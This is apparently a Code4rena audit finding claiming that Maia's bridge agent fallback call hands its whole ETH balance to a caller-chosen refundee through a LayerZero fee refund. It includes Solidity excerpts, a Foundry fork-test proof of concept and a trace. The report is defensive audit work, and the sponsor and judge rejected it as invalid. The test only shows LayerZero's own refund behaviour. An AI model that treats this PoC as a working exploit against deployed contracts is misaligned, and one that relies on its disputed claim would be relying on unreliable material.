c4-submissions commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L788 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L938 https://github.com/LayerZero-Labs/LayerZero/blob/48c21c3921931798184367fc02d3a8132b041942/contracts/Endpoint.sol#L95

Vulnerability details

Impact

_performFallbackCall can revert sliently when refundee is not capable of taking ETH refund from layerzero side

Proof of Concept

In RootBridgeAgent.sol when the has fall back toggle flag is on, the smart contract aim to perform a fallback call to notify the dest chain the failure to deliver the message

for example, the relevent code is here

//Update tx state if execution failed
if (!success) {
    //Read the fallback flag.
    if (_hasFallbackToggled) {
        // Update tx state as retrieve only
        executionState[_srcChainId][_depositNonce] = STATUS_RETRIEVE;
        // Perform the fallback call
        _performFallbackCall(payable(_refundee), _depositNonce, _srcChainId);
    } else {
        // No fallback is requested revert allowing for retry.
        revert ExecutionFailure();
    }
}

and here when retrieve the deposit

    //Check if deposit is in retrieve mode
    if (executionState[_srcChainId][nonce] == STATUS_DONE) {
        revert AlreadyExecutedTransaction();
    } else {
        //Set settlement to retrieve mode, if not already set.
        if (executionState[_srcChainId][nonce] == STATUS_READY) {
            executionState[_srcChainId][nonce] = STATUS_RETRIEVE;
        }
        //Trigger fallback/Retry failed fallback
        _performFallbackCall(
            payable(address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED])))), nonce, _srcChainId
        );
    }

the logicof the _performFallbackCall is here

function _performFallbackCall(address payable _refundee, uint32 _depositNonce, uint16 _dstChainId) internal {
    //Sends message to LayerZero messaging layer
    ILayerZeroEndpoint(lzEndpointAddress).send{value: address(this).balance}(
        _dstChainId,
        getBranchBridgeAgentPath[_dstChainId],
        abi.encodePacked(bytes1(0x04), _depositNonce),
        payable(_refundee),
        address(0),
        ""
    );
}

the code forward all ETH (address(this).balance) and aim to use the ETH to pay for the layerzero fee

after the message is sent via the endpoint, the layerzero endpoint foward the message to UltraLightNodeV2

the code quote the fee and refund the excessive fee to the refundee address

but if the refundee address is capable of taking the ETH refund, the refundee takes all the ETH in the agent contract minus the layerzero fee paid

the relevant logic on layerzero UltraLightNodeV2 is here: in this line of code

// assert the user has attached enough native token for this address
require(totalNativeFee <= msg.value, "LayerZero: not enough native for fees");
// refund if they send too much
uint amount = msg.value.sub(totalNativeFee);
if (amount > 0) {
    (bool success, ) = _refundAddress.call{value: amount}("");
    require(success, "LayerZero: failed to refund");
}

can add this test into the BranchBridgeAgentTest.t.sol to prove that excessive ETH is refunded to the refundee

assume the agent contract hold 1 ETH, and the fee required is 0.01 ETH, the refund can take the rest 0.99 ETH and clear the ETH hold in the agent contract

the POC shows that the message is sent successfully but the refundee address takes the remaining refunded fee

then add

       function testTakeAllRefund() public {

         // layerzero endpoint in arbitrum
        address LZEndpointArb = 0x3c2269811836af69497E5F486A85D7316753cf62;

        bytes memory fallbackData = abi.encodePacked(bytes1(0x04), uint32(1));

        // payload

        address user = vm.addr(5201134);
        address refundee = vm.addr(123455);

        console2.log(refundee.balance);
        deal(user, 100 ether);

        address remoteAddress = address(1);
        address localAddress = address(1);

        bytes memory remoteAndLocalAddresses = abi.encodePacked(remoteAddress, address(user));

        vm.prank(user);
        ILayerZeroEndpoint(LZEndpointArb).send{value: 100 ether}(
            101,
            remoteAndLocalAddresses,
            fallbackData,
            payable(refundee),
            address(0),
            ""
        );

        assertEq(user.balance, 0);
        console2.log(refundee.balance);

    }

and we can run the fork test

forge test -vvvv --match-test "testRefundTakesNoETH" --fork-url https://arb1.arbitrum.io/rpc

the full transaction log is attached

[PASS] testTakeAllRefund() (gas: 241493)
Logs:
  99994997256806488037

Traces:
  [241493] BranchBridgeAgentTest::testTakeAllRefund() 
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← 0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262
    ├─ [0] VM::addr(<pk>) [staticcall]
    │   └─ ← 0x37ECcFBF9afFcb6d131e7AEB40ed4fcD73f72d9F
    ├─ [0] VM::deal(0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262, 100000000000000000000 [1e20]) 
    │   └─ ← ()
    ├─ [0] VM::prank(0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262) 
    │   └─ ← ()
    ├─ [222994] 0x3c2269811836af69497E5F486A85D7316753cf62::send{value: 100000000000000000000}(101, 0x00000000000000000000000000000000000000012171c6ab9df7058c34c7f4683bf614f3d5473262, 0x0400000001, 0x37ECcFBF9afFcb6d131e7AEB40ed4fcD73f72d9F, 0x0000000000000000000000000000000000000000, 0x) 
    │   ├─ [182688] 0x4D73AdB72bC3DD368966edD0f0b2148401A178E2::send{value: 100000000000000000000}(0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262, 1, 101, 0x00000000000000000000000000000000000000012171c6ab9df7058c34c7f4683bf614f3d5473262, 0x0400000001, 0x37ECcFBF9afFcb6d131e7AEB40ed4fcD73f72d9F, 0x0000000000000000000000000000000000000000, 0x) 
    │   │   ├─ [24128] 0x5B905fE05F81F3a8ad8B28C6E17779CFAbf76068::increment(101, 0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262, 0x00000000000000000000000000000000000000012171c6ab9df7058c34c7f4683bf614f3d5473262) 
    │   │   │   ├─ [820] 0x3c2269811836af69497E5F486A85D7316753cf62::getSendLibraryAddress(0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262) [staticcall]
    │   │   │   │   └─ ← 0x0000000000000000000000004d73adb72bc3dd368966edd0f0b2148401a178e2
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
    │   │   ├─ [40988] 0x177d36dBE2271A4DdB2Ad8304d82628eb921d790::assignJob(101, 1, 0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262, 5, 0x00010000000000000000000000000000000000000000000000000000000000030d40) 
    │   │   │   ├─ [35852] 0xf77a80851c7f40492eB7a5f1e7d92411ae8962a4::assignJob(101, 1, 0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262, 5, 0x00010000000000000000000000000000000000000000000000000000000000030d40) [delegatecall]
    │   │   │   │   ├─ [13459] 0x9c8D8A224545c15024cB50C7c02cf3EA9AA1bF36::88a4124c(0000000000000000000000000000000000000000000000000000000000000065000000000000000000000000000000000000000000000000000000000000029d0000000000000000000000000000000000000000000000000000000000045948) [staticcall]
    │   │   │   │   │   ├─ [8372] 0x689b871494cdbC9062dFAFF357f5225f94A31F15::88a4124c(0000000000000000000000000000000000000000000000000000000000000065000000000000000000000000000000000000000000000000000000000000029d0000000000000000000000000000000000000000000000000000000000045948) [delegatecall]
    │   │   │   │   │   │   └─ ← 0x000000000000000000000000000000000000000000000000000a557cc996f9600000000000000000000000000000000000000000000000056bc75e2d631000010000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000022232e232361a5b48000
    │   │   │   │   │   └─ ← 0x000000000000000000000000000000000000000000000000000a557cc996f9600000000000000000000000000000000000000000000000056bc75e2d631000010000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000022232e232361a5b48000
    │   │   │   │   ├─ emit AssignJob(: 4149366497009927 [4.149e15])
    │   │   │   │   └─ ← 0x000000000000000000000000000000000000000000000000000ebdd3ac18e107
    │   │   │   └─ ← 0x000000000000000000000000000000000000000000000000000ebdd3ac18e107
    │   │   ├─ emit RelayerParams(: 0x00010000000000000000000000000000000000000000000000000000000000030d40, : 1)
    │   │   ├─ [25112] 0xD56e4eAb23cb81f43168F9F45211Eb027b9aC7cc::assignJob(101, 1, 20, 0x2171C6Ab9dF7058c34c7f4683bf614F3d5473262) 
    │   │   │   ├─ [6439] 0xdeA04ef31C4B4FDf31CB58923F37869739280d49::df2b057e(0000000000000000000000009c8d8a224545c15024cb50c7c02cf3ea9aa1bf36000000000000000000000000000000000000000000000000000000000000006500000000000000000000000000000000000000000000000000000000000000140000000000000000000000002171c6ab9df7058c34c7f4683bf614f3d547326200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000002ee00000000000000000000000000000000000000000000000000000000000012cc80000000000000000000000000000000000000000000000000000000000002904000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001400000000000000000000000000000000000000000000000000000000000000000) 
    │   │   │   │   ├─ [2963] 0x9c8D8A224545c15024cB50C7c02cf3EA9AA1bF36::c1723a1d(000000000000000000000000000000000000000000000000000000000000006500000000000000000000000000000000000000000000000000000000000002040000000000000000000000000000000000000000000000000000000000012cc8) 
    │   │   │   │   │   ├─ [2376] 0x689b871494cdbC9062dFAFF357f5225f94A31F15::c1723a1d(000000000000000000000000000000000000000000000000000000000000006500000000000000000000000000000000000000000000000000000000000002040000000000000000000000000000000000000000000000000000000000012cc8) [delegatecall]
    │   │   │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000002e32eb5c42b500000000000000000000000000000000000000000000000056bc75e2d631000010000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000022232e232361a5b48000
    │   │   │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000002e32eb5c42b500000000000000000000000000000000000000000000000056bc75e2d631000010000000000000000000000000000000000000000000000056bc75e2d631000000000000000000000000000000000000000000000000022232e232361a5b48000
    │   │   │   │   └─ ← 0x000000000000000000000000000000000000000000000000000308243edac714
    │   │   │   ├─  emit topic 0: 0x87e46b0a6199bc734632187269a103c05714ee0adae5b28f30723955724f37ef
    │   │   │   │           data: 0x000000000000000000000000000000000000000000000000000308243edac714
    │   │   │   └─ ← 0x000000000000000000000000000000000000000000000000000308243edac714
    │   │   ├─ [2488] 0x3773E1E9Deb273fCdf9f80bc88bB387B1e6Ce34d::getFees(false, 4149366497009927 [4.149e15], 853376696502036 [8.533e14]) [staticcall]
    │   │   │   └─ ← 0x0000000000000000000000000000000000000000000000000000000000000000
    │   │   ├─ [0] 0x37ECcFBF9afFcb6d131e7AEB40ed4fcD73f72d9F::fallback{value: 99994997256806488037}() 
    │   │   │   └─ ← ()
    │   │   ├─ emit Packet(: 0x0000000000000001006e2171c6ab9df7058c34c7f4683bf614f3d5473262006500000000000000000000000000000000000000010400000001)
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] console::log(99994997256806488037 [9.999e19]) [staticcall]
    │   └─ ← ()
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.34s

note, the BranchBridgeAgent has the same problem when executing fallback call

basically user can observe the ETH balacne of the agent contract and turn on the fallback flag and revert intentionally and then trigger the fallback to take the ETH in the agent as layerzero fee refund

Tools Used

Manual Review, foundry

Recommended Mitigation Steps

use layerzero estimate fee endpoint to estimate the fee instead of sending all ETH as fee

or the protocol may consider set the refundee to the agent contract itself to make sure the excessive refunded fee goes back

Assessed type

ETH-Transfer

c4-pre-sort commented 1 year ago

0xA5DF marked the issue as primary issue

c4-pre-sort commented 1 year ago

0xA5DF marked the issue as sufficient quality report

0xBugsy commented 1 year ago

There is no issue here, it is not part of any system function the Bridge Agents being able to retain ETH balance.

c4-sponsor commented 1 year ago

0xBugsy (sponsor) disputed

c4-judge commented 1 year ago

alcueca marked the issue as unsatisfactory: Invalid

code-423n4 / 2023-09-maia-findings

User can selectively turn on the fallback flag to take all ETH on the agent contract as layerzero fee refund #839